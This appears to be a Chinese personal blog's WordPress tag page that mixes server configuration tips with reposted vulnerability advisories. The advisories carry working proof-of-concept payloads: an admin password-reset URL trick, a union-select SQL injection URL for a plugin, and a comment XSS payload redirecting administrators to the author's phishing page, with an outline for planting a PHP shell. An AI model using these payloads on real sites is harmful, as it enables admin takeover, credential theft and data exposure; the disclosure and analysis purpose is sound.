我的时光,停在了你的角落…~
Posts tagged WordPress
nginx设置wordpress的Rewrite配置
Jul 18th
我的在wordpress后台设置固定链接为自定义结构:/archives/%post%/,nginx装好以后,自然是不能正常访问。我就开始到处找方法。
这个玩意儿搞了我个把钟头了,几乎搜遍了google上面所有的文章,搞来搞去就那几篇。无论哪一种方法,我都无法成功。一开始我以为是我这一段RP差到了几点,都打算整个重来了。突然想起来,我的blog跟别人不一样,我的是以二级目录做的,比如http://www.am82.com/houzan,是这样的类型,想了想,是不是规则也不同呢?研究了一下nginx规则的简单语法,发现果然是这样。把这个过程写下来,记录,同时供大家参考~~~高手飘过~~~
我今天下午碰到的方法是在nginx的配置文件nginx.conf中加入
server |
{ |
listen 80; |
server_name am82.com; |
index index.html index.htm index.php; |
root /www/blog; |
#limit_conn crawler 20; |
if (-f $request_filename/index.html){ |
rewrite (.*) $1/index.html break; |
} |
if (-f $request_filename/index.php){ |
rewrite (.*) $1/index.php; |
} |
if (!-f $request_filename){ |
rewrite (.*) /index.php; |
} |
一开始我看大家都这么写,没想什么,二百五一样把自己的规则也这么写,结果不管怎么改都不行,后来研究了一下简单的规则语法,才想起来,原来我的是二级目录的问题。
同时为了方便,我专门做了一个myrewrit.conf的文件,放在nginx.conf同目录下
vi myrewrit.conf
if (-f $request_filename/index.html){
rewrite (.*) $1/index.html break;
}
if (-f $request_filename/index.php){
rewrite (.*) $1/index.php;
}
if (!-f $request_filename){
rewrite (.*) /houzan/index.php;
}
nginx的配置文件这样写,用include插入~~~这样方便多了~
vi nginx.conf
server
{
listen 80;
server_name www.am82.com am82.com;
index index.html index.htm index.php;
include myrewrit.conf;
root /www/blog;
WordPress <= 2.9.2绕过口令保护漏洞
Mar 24th
WordPress <= 2.9.2
BUGTRAQ ID: 38876 WordPress是一款免费的论坛Blog系统。 用户可以对WordPress论坛中的每个页面或帖子设置口令,这些口令可以相同,但通过口令访问的功能设置了全站点都通用的全局Cookie,因此用户只要获得了一个对页面或帖子所设置的口令,就可以看到所有受保护的页面或帖子(在请求时会自动许可访问)。
MustLive (mustlive@websecurity.com.ua)
http://marc.info/?l=full-disclosure&m=126919495929312&w=2
http://secunia.com/advisories/39040/
*>
厂商补丁: WordPress --------- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://wordpress.org/
WordPress <= 2.8.5 Unrestricted File Upload Arbitrary PHP Code Execution
Nov 12th
#Trace: 授权用户的拿webshell的方法.受影响版本<=2.8.5,受服务器环境影响.
Note:
WordPress allows authorised users to add an attachment to a blog post.
It does not sanitize provided file properly before moving it to an
uploads directory.
http://seclists.org/fulldisclosure/2009/Nov/141
from:web安全手册
WordPress 2.8.4 紧急安全更新发布
Aug 12th
这次更新安全漏洞是因为在昨天发现了一个漏洞:攻击者可以通过伪造一个请求到一个特别的网址,可以使攻击者绕过安全检查,直接验证用户并重设密码。其结果是,可以重设第一个帐户(通常是管理员帐户)的密码,可将其密码重设并将新的密码通过电子邮件发送给该帐户的拥有者。
现在漏洞已经修复,强烈建议WordPress用户更新
WordPress 2.8.3 新漏洞tips
Aug 12th
WordPress <= 2.8.3 Remote admin reset password
这个漏洞又给我们提纲了一个非常有意思的tips:
test.php?key=
string(0) "" bool(true)
test.php?key[]=
array(1) { [0]=> string(0) "" } bool(false)
哈哈,很完美的pass了empty($key),回到wordpress里的代码:
//wp-login.php
function reset_password($key) {
global $wpdb;
$key = preg_replace('/[^a-z0-9]/i', '', $key);
if ( empty( $key ) ) //this empty!!
return new WP_Error('invalid_key', __('Invalid key'));
$user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
提交:
http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=
对方的密码就被修改拉!!!
from:http://hi.baidu.com/hi_heige/blog/item/79bdc52b9d328e24d42af1df.html
WordPress <= 2.8.3 Remote admin reset password
Aug 12th
wordpress的重设密码漏洞,利用很简单,官方没补丁,把wp-login.php改名可以临时解决此问题。
=============================================
- Release date: August 10th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium
=============================================
I. VULNERABILITY
-------------------------
WordPress <= 2.8.3 Remote admin reset password
II. BACKGROUND
-------------------------
WordPress is a state-of-the-art publishing platform with a focus on
aesthetics, web standards, and usability. WordPress is both free and
priceless at the same time. More simply, WordPress is what you use when
you want to work with your blogging software, not fight it.
III. DESCRIPTION
-------------------------
The way WordPress handle a password reset looks like this:
You submit your email adress or username via this form /wp-login.php?action=lostpassword ;
Wordpress send you a reset confirmation like that via email:
"
Someone has asked to reset the password for the following site and username.
http://DOMAIN_NAME.TLD/wordpress
Username: admin
To reset your password visit the following address, otherwise just
ignore this email and nothing will happen
http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag
"
You click on the link, and then WordPress reset your admin password, and
sends you over another email with your new credentials.
Let's see how it works:
wp-login.php:
...[snip]....
line 186:
function reset_password($key) {
global $wpdb;
$key = preg_replace('/[^a-z0-9]/i', '', $key);
if ( empty( $key ) )
return new WP_Error('invalid_key', __('Invalid key'));
$user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
if ( empty( $user ) )
return new WP_Error('invalid_key', __('Invalid key'));
...[snip]....
line 276:
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();
if ( isset($_GET['key']) )
$action = 'resetpass';
// validate action so as to default to the login screen
if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )
$action = 'login';
...[snip]....
line 370:
break;
case 'resetpass' :
case 'rp' :
$errors = reset_password($_GET['key']);
if ( ! is_wp_error($errors) ) {
wp_redirect('wp-login.php?checkemail=newpass');
exit();
}
wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
exit();
break;
...[snip ]...
You can abuse the password reset function, and bypass the first step and
then reset the admin password by submiting an array to the $key
variable.
IV. PROOF OF CONCEPT
-------------------------
A web browser is sufficiant to reproduce this Proof of concept:
http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=
The password will be reset without any confirmation.
V. BUSINESS IMPACT
-------------------------
An attacker could exploit this vulnerability to compromise the admin
account of any wordpress/wordpress-mu <= 2.8.3
VI. SYSTEMS AFFECTED
-------------------------
All
VII. SOLUTION
-------------------------
No patch aviable for the moment.
VIII. REFERENCES
-------------------------
http://www.wordpress.org
IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié Laurent.gaffie{remove-this}(at)gmail.com
I'd like to shoot some greetz to securityreason.com for them great
research on PHP, as for this under-estimated vulnerability discovered by
Maksymilian Arciemowicz : http://securityreason.com/achievement_securityalert/38
X. REVISION HISTORY
-------------------------
August 10th, 2009: Initial release
XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.
# milw0rm.com [2009-08-11]
from:http://baoz.net/wordpress-remote-admin-reset-password/
从A到Z!26个用于 WordPress 的 .htaccess 规则
Jul 26th
我们知道 .htaccess 文件能轻松地强化你的博客,减少带宽并增加可用性。前面曾经写过一篇简易的 .htaccess 教程:《简单实用的.htaccess小技巧》。如果你还想继续了解 .htaccess 文件,那么不妨看看下面这26个规则:
但是请先记住一条黄金法则:
先备份,再折腾!
A – WP- Admin – 管理员页面
你可以限制访问 WP- Admin 页面的 IP 地址
|
1 2 3 |
order deny,allow allow from a.b.c.d # This is your static IP deny from all |
来源 -BlogSecurity.net
B – Blacklist – 黑名单
.htaccess 的一个重要功能是你能把它作为 IP 黑名单来使用:
|
1 2 3 4 5 |
<Limit GET POST PUT> order allow,deny allow from all deny from 123.456.789 </LIMIT> |
来源 – Perishable Press
C – WP-Config Protection – 保护 Config 页
WP-Config 文件里包含了你的数据库名、数据库用户名与密码。这样的文件你敢让别人看到吗?所以你会需要用 .htaccess 来保护它。
|
1 2 3 4 5 |
# protect wpconfig.php <files wp-config.php> order allow,deny deny from all </files> |
来源 – Josiah Cole
D – Disable Directory Browsing – 禁止浏览目录
WP-Config 文件里包含了你的数据库名、数据库用户名与密码。这样的文件你敢让别人看到吗?所以你会需要用 .htaccess 来保护它。
|
1 2 |
# disable directory browsing Options All -Indexes |
来源- Josiah Cole
E – Explanation – 释疑
如果我问你 .htaccess 是什么,我猜你一定很难说明白。老实说,我自个儿也不明白。好在维基百科给了个明确的解释:
.htaccess 是Apache HTTP Server的文件目录系统级别的配置文件的默认的名字。它提供了在主配置文件中定义用户自定义指令的支持。
维基百科也给出了一些特定的例子,你可以访问:http://zh.wikipedia.org/w/index.php?title=.htaccess&variant=zh-cn 了解更多。
F – Feedburner – RSS烧制
Feedburner 是各位博主的好帮手,通过这个例子你能把原来的 RSS 地址转向到烧制后的地址。
|
1 2 3 4 5 6 7 |
# temp redirect wordpress content feeds to feedburner <IfModule mod_rewrite.c> RewriteEngine on RewriteCond %{HTTP_USER_AGENT} RewriteCond %{HTTP_USER_AGENT} RewriteRule ^feed/?([_0-9a-z-]+)?/?$ http://feeds.feedburner.com/perishablepress [R=302,NC,L] </IfModule> |
来源 – Perishable Press
G – Get an RSS Feed on a static page – 获取静态页的RSS
通过下面这个链接,你能学习到利用 .htaccess 获取静态页 RSS 的办法。
链接 – adityaspeaks.com
H – Disable hotlinking – 防止盗链
所谓盗链,就是别人私自用了你服务器上的图片、声音等文件,占用了你的带宽。你可以通过下面这个 .htaccess 规则来阻止盗链:
|
1 2 3 4 5 6 |
#disable hotlinking of images with forbidden or custom image option RewriteEngine on RewriteCond %{HTTP_REFERER} RewriteCond %{HTTP_REFERER} #RewriteRule \.(gif|jpg)$ - #RewriteRule \.(gif|jpg)$ http://www.yourdomain.com/stealingisbad.gif [R,L] |
来源 – Josiah Cole
I – Important! – 重要提示!
是啊,呵呵,“I”开头的词是有些难找,但是它同样重要,very Important!
备份,要记住备份。当你把东西搞得一团糟时,只有备份文件能救你!
J – Jauntily show the admin’s email address in error message
*抱歉,本词条有误*
K – Keep RSS ‘content thieves’ away – 防范“RSS小偷“
你一定不希望有人窃取你网站的内容吧?他们只要有你的 RSS 地址就能复制内容。如果你有对方网站的IP地址(怎么获取?很简单,google 它),就能屏蔽该网站对你的 RSS 的读取。如果有不止一家网站复制你的内容,你只要增加 IP 地址就行了。
|
1 2 3 |
RewriteEngine on RewriteCond %{REMOTE_ADDR} RewriteRule ^(.*)$ http://newfeedurl.com/feed |
来源 – Seo Black Hat
L – Limiting number of simultaneous connections – 限制并发连接数
如果你要限制并发连接数(就是同时访问你的网站的人数),就使用下面这个代码。
|
1 |
MaxClients < number-of-connections> |
M – Maintenance – 制作临时维护页面
无论什么原因,可能是维护、更新,你都可能会要暂时停止你的网站。这时你就需要一个维护页。无论访客访问的是你网站的任一 URL 还是 IP 地址,都能转向到维护页面。
|
1 2 3 4 |
RewriteEngine on RewriteCond %{REQUEST_URI} RewriteCond %{REMOTE_ADDR} RewriteRule $ /maintenance.html |
来源 – CatsWhoCode/Woueb.net
N – Deny no referer requests [stop spam comments!] – 拒绝垃圾留言!
这是一个比下文“S”词条更简便的防 Spam 方法。其原理是,如果留言者不公开来源,即是用机器留言的,就屏蔽之。就这么简单。
|
1 2 3 4 5 6 |
RewriteEngine On RewriteCond %{REQUEST_METHOD} POST RewriteCond %{REQUEST_URI} .wp-comments-post\.php* RewriteCond %{HTTP_REFERER} RewriteCond %{HTTP_USER_AGENT} RewriteRule (.*) |
来源 – WPRecipes
O – Force files when opening to ‘save as’ – 用“另存为“方式打开文档
有时候你空间里的一些文件,比如音乐、视频文件,点开后会有软件自动打开这个文件。如果你不想自动打开,这个规则能把文件强制为另存为方式下载。
|
1 |
AddType application/octet-stream .avi .mpg .mov .pdf .xls .mp4 |
来源 – AskApache
P – Protect your .htaccess file – 保护 .htaccess 文件
如果你的博客已经做好的十足的防护措施,是不是也要考虑一下保护你的 .htaccess 文件呢?黑客也可能通过这个文件发起攻击。下面这个规则能禁止下载 .htaccess 文件。
|
1 2 3 4 5 6 |
# STRONG HTACCESS PROTECTION <Files ~ “^.*\.([Hh][Tt][Aa])”> order allow,deny deny from all satisfy all </Files> |
来源 - Perishable Press
Q – Quicken your site’s loading time by caching – 设置缓存
下面这个链接有详细的教程,教你如何给 WordPress 博客设置缓存。
链接 – Samaxes
R – Redirect to other pages on your site – 301重定向
|
1 |
RedirectMatch 301 ^/blog/.*$ http://domain.tld/target.html |
来源 – Perishable Press
S - Spam! – 阻止垃圾留言
通过 .htaccess 来禁止 Spam 是个好办法。下面这个链接给出了一个 Spam 黑名单,复制到你的 .htaccess 里,你就能防止绝大部分的垃圾留言。
来源 - perishablepress.com
T – Set the Timezone of the server – 设置服务器时区
译者:代码给出的是把TZ值设置为美国时间的代码,如果服务器在中国,你可以改为Asia/Shanghai。
|
1 |
SetEnv TZ America/Indianapolis |
来源 – AskApache
U – Remove /category/ from your category URL – 简化 WP 分类页面地址
WordPress 的分类页面地址里有一个 /category/ ,会不会觉得这很多余呢?下面这个代码就能去掉它!
|
1 |
RedirectMatch 301 ^/category/(.+)$ http://www.askapache.com/$1 |
或者
|
1 |
RewriteRule ^category/(.+)$ http://www.askapache.com/$1 [R=301,L] |
来源 - AskApache
V – Valiantly automatically fix URL spelling mistakes – 修复错误地址
这个代码能自动检查英文地址的拼写错误。
|
1 2 3 |
<IfModule mod_speling.c> CheckSpelling On </IfModule> |
来源 – Vortex Mind
W – Redirect from http://Www.whatever to http://Whatever – 去掉网址前面的www.
使用301转跳,实现网址标准化。
|
1 2 3 4 5 |
# permanently redirect from www domain to non-www domain RewriteEngine on Options +FollowSymLinks RewriteCond %{HTTP_HOST} RewriteRule ^(.*)$ http://domain.tld/$1 [R=301,L] |
X – Make your wp-login.php page Xenophobic – 限制他人访问 wp-login
Xenophobic: “排外,仇视陌生人“
我觉得你应该适当使用这个规则。如果你不是多人博客,可以限制他人访问登录页面,以达到更高的安全性。
|
1 2 3 4 5 |
<Files wp-login.php> Order deny,allow Deny from All Allow from 123.456.789.0 </Files> |
来源 – Reaper-X
Y – Easily rename your .htaccess file – 重命名 .htaccess 文件
如果你的服务器不接受以句点开头的文件怎么办?重命名它呗!下面这个代码能实现 .htaccess 文件的重命名。
|
1 2 |
# rename htaccess files <code>AccessFileName ht.access |
来源 – Perishable Press
Z – Say Zygote in your .htaccess file – 在 .htaccess 里写注释
你可能会想在 .htaccess 文件里做些解释,好让别人能看懂。那怎么做注释呢?请看下面的代码:
|
1 |
# see - this is a comment - you can only use letters and numbers and - and _ That is why there are no commas |
要注意的是注释里只能写字母、数字与下划线
翻译:所以说
原文:wpshout.com
译者后记:原文的作者看样子也是经过收集才写成这篇文章的。如果你看了原文,请你注意,原文的有些代码里有一些多余或错误代码。我在本译文里都已做了修正。
From: http://www.suoyishuo.com/archives/a-to-z-of-wordpress-htaccess-hacks.html
WordPress数据库优化技巧
Jul 20th
WordPress系统使用时间长了,数据库中的冗余数据就会很多,定期优化和清理Wordpress的数据库,可以保证Wordpress能够快速工作。
首先,停用一些无用的插件,将WordPress系统表之外的数据表都删除,只保留wp_posts, wp_comments, wp_terms, wp_term_relationships, wp_term_taxonomy 等系统数据表。
其次,打开phpMyadmin,通过SQL语句进行冗余数据删除操作。删除前记得先备份一下。
删除脚本是:
DELETE FROM wp_posts WHERE post_type = ‘revision’;
DELETE FROM wp_postmeta WHERE meta_key = ‘_edit_lock’;
DELETE FROM wp_postmeta WHERE meta_key = ‘_edit_last’;
最后,在phpMyAdmin中,选中所有表,点“优化表”。
经过这一番优化操作,就可以将WordPress数据库中的冗余数据删除,优化了数据库的性能。
以上才做,需要用户通一些SQL语句,不要进行误操作。
原创文章如转载,请注明:转载自月光博客 [ http://www.williamlong.info/ ]
wordpress2.81评论显示xss漏洞
Jul 16th
by kxlzx inbreak.net
ps:感谢鬼仔’blog,XEYE’s blog协助测试。
实际上是个XSS漏洞。
POC:
XML/HTML代码
-
在评论的网址一栏,填写
-
http://blog.sohu.com/fh8e3333211134333/f8e9wjfidsj3332dfs’ onmousemove=’location.href=
-
String.fromCharCode(104,116,116,112,58,47,47,105,110,98,114,101,97,107,46,110,101,116,47,97,46,112,104,112);
这段代码仅供测试,是不能直接用的。
如果你拿我的shellcode去打别人的站,那密码就归我了,来之不拒啊。
管理员审核时,只要鼠标从url上路过,就会跳转到http://www.inbreak.net/a.php。
这里是个假的登录页面,钓鱼用。
管理员登录后,我们就能记录密码。
对于整个流程说明:
1,发评论让管理员对你的url有兴趣,然后等管理员上钩。
2,管理员在后台把鼠标移动到你的url上。
3,跳转到a.php,先获取referer。
4,输入密码后,提交到kxlzxtest/testxss/wp.php。
5,referer,user,pass保存为”域名.txt”。
6,输出一段JS,跳转到referer地址去。
a.php代码:
PHP代码
-
<?php
-
$website = $_SERVER['HTTP_REFERER'];
-
$website=strtolower($website);
-
$website=substr($website,7);
-
$website=substr($website,0,strpos($website,‘/’));
-
//这个页面是用来冒充登录页面的,危害巨大,代码不方便提供。
-
?>
wp.php代码
嗯。。。本来打算和某个短信平台配合一下,给我发短信提醒的,后来因为懒,就没写。
SHELL代码
-
<?php
-
//被lv老子过滤。
-
?>
这只是个DEMO,实际上,后台有编辑PHP文件的功能,你可以写个AJAX出来,
自动获取编辑插件文件的页面中的token字段(名字忘记了,叫做XXonce),之后
提交一个PHP shell过去。就不用钓鱼了。
漏洞代码:
wordpress\wp-admin\includes\template.php
文件中的$author_url没有对单引号做过滤,最后又使用拼接href=’$author_url’。
导致我们可以添加一个这个href的事件函数进去。
PHP代码
-
2085:$author_url = get_comment_author_url();
-
2182:case ‘author’:
-
echo “<td $attributes><strong>”; comment_author(); echo ‘</strong><br />’;
-
if ( !emptyempty($author_url) )
-
echo “<a title=’$author_url’ href=’$author_url’>$author_url_display</a><br />”;
前台的评论展示,也存在这个漏洞。
修补方式:
不建议自己手工修补,建议把评论暂时关闭,然后等官方补丁就是了。
到目前为止,官方可能还不知道。
语言不通,好心人看到同时,可以通知下官方。
谈谈 PHP, WordPress 与挂马
Jul 9th

惡意的PDF檔案一點都不是新聞,過去 doc、flash 以及圖片等都已經被大量利用在 PC 的感染中,但前一陣子在日本以
及各地頻傳的事件 (1,2) 顯示,才發現一種綜合型的攻擊組合已經出現,也引起我對於了解後面原因的興趣。
我從 client, server 兩個方面來說明:
1. client
這次利用的攻擊瀏覽器方式稱為 JSRedir-R,它其實是一種攻擊方式的通稱,在友廠的分類說明中 可以見到它是利用 PDF,
Flash/SWF 的漏洞來讓瀏覽器, PDF reader 或 flash player 直接做為下載器 (downloader), 將後續的其他 binary 安裝到
執行這個 JSRedir-R 的電腦上,隨後就開始進行自動側錄,這次側錄的通訊協定鎖定 Web hosting 使用者常用的 ftp,
為何這麼做呢? 1. 明碼 2. 登入帳號密碼經常1~2個封包就可錄到。
網路上這篇討論描述了這個狀況,節錄如下:
“One of our clients computers was infected with the client-side portion of the virus. It’s a trojan that monitors
all FTP traffic, sending the auth details back to the payload server (gumblar.cn)..”
2. server: 這次駭客在想甚麼?
約3個月前,就開始有人在WordPress (咱們就簡稱為WP) 論壇上面歇斯底里的求救, “Seriously, I need your help! ” ,
很明顯的,他遇到了無論登入 wp-admin 後改密碼或是檔案移除,那一段攻擊程式碼都還是會再被自動加回去所有的
index-files,想必夜不成眠吧。
去年,我們監控到 Mass SQL Injection 的大範圍 SQL 注入,分析了原因是攻擊方利用 Google 的強大搜尋找攻擊對象,
但這次不一樣,不需要這麼麻煩,這次駭客不辛苦的打 Mass SQL Injection 了,直接從 web 管理員的電腦直接掛馬側錄、
傳回 Bot 監控主機、連到目標 ftp server, 接著自動竄改每一個 PHP 網頁,都可以自動化/半自動了, 然後去逛這些
WP, Drupal 網頁的人,都執行了 pdf 與 swf,若沒做自我保護,會繼續受到 JSRedir-R 的感染,然後被側錄,..
就這樣一直循環下去, oh my goodness!!
慶幸的是,到目前為止,這並還未演變成 server 對 server 的病毒感染事件,否則可以想像機房內的網路、Web主機眾多的
virtual host sites 會變成甚麼狀況,不過這跟 Web Hosting 的架構設計有關,這邊就有另外一種狀況。
既 然被補上去 WP 與 Drupal 的源碼是 PHP,我開始將注意力轉向 WordPress 的源碼去,開放源碼的壞處就是容易成為
下一個目標,事實上我的同事 Wisely 在兩年前就已經用我們內部的工具檢測過 WP 的兩個主要版本了,兩年多下來,
我印象中看到針對 WP 本身新弱點的次數並不多,但 WP 畢竟做為全球著名的部落格發行軟體,為了服務廣大的使用者
採用了開放式的架構,並有許多對應的外掛被開發出來,然而這些眾多的外掛卻成了另一大隱憂的來 源,光在
milw0rm.com 上就至少有數十個 exploit 被公布,我從中取了一個做驗證,ID為 9048的這個攻擊是利用 DM-albums這個外掛:

這個弱點是 Remote File Dislosure Vulnerability,在 OWASP 的定義為 Resource Injection ,我們立即將 config.php 原始擋下載回來:

用 IDE 開來看,wow, 真的是 config.php,可以拿來分析設定與系統架構:

接著我用 CodeSecure 掃了兩次,分別是將 register_global 這個設定關閉:

以及開啟:

都找到跟 dm-albums.php 這個進入點有關的 Resource Injection,其中一條弱點問題追蹤列出如下,很明顯的,至少就有
currdir 這個變數沒有被處理好:

看到弱點這樣多,我真的開始覺得任意瀏覽網站的風險太高了。
以前打 client 端是拿個資、打 server 端是拿主機與 DB,做完就各自結束,但從 5月份的 Gumblar 開始,透過在 WP, Drupal
等 Blog 平台插入 PHP 程式碼的新掛馬手法讓感染來源成指數成長,如果你發現你的部落格的程式碼內出現奇怪的新程式碼,
建議趕快用一台乾淨的機器上網改掉密碼並回復所有的 PHP 網頁,然後將受感染的電腦做進一步檢查,詳細做法可參考這篇,
若剛好你的部落格也用了不少外掛,建議先搜尋一下有沒有已經被公布的弱點 (關鍵字: “exploit” “vulnerability),然後儘早因應,
至少被公開的弱點一定得想辦法剔除。
作者: Walter Tsai 為阿碼科技CTO
WordPress Plugin Photoracer 1.0 (id) SQL Injection Vulnerability
Jun 16th
WordPress Photoracer Plugin => SQL injection http://wordpress.org/extend/plugins/photoracer/ Author: Kacper Website: http://devilteam.pl/ Pozdrawiam wszystkich z huba dc++, oraz wszystkich z forum, Pozdro: Ratman, Kopaczka, FDJ Elo: dla GLOBUSa za pomoc w crackowaniu hasel. Vuln: http://site.pl/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+0,1,2,3,4,user(),6,7,8-- big thanks str0ke for you! be safe all# milw0rm.com [2009-06-15]
WordPress搬家后上传文件报错
Jun 6th
把WordPress搬家后,发现后台上传文件通通显示错误:
无法建立目录 /home/content/h/o/u/houzan/html/houzan/wp-content/uploads/2009/06。
是否上级目录没有写权限?
开始以为是权限问题,结果专门跑到uploads目录下面设置了777,还是报错,我直接去根目录设置777,结果更严重,blog报500错误,后来google半天才知道,如果一开始安装没有设置根目录777,以后设置是要出错的,汗~~~我好土鳖~~~找啊找啊找,终于找到这个方法,贴出来共享。
找数据库里,找出wp_options表,第60条记录(option_name=”upload_path”的那条记录)
option_value为:
/home/content/h/o/u/houzan/html/houzan/wp-content/uploads
将其更改为搬家后的路径后即可。
解决睡觉去咯~~~



最新评论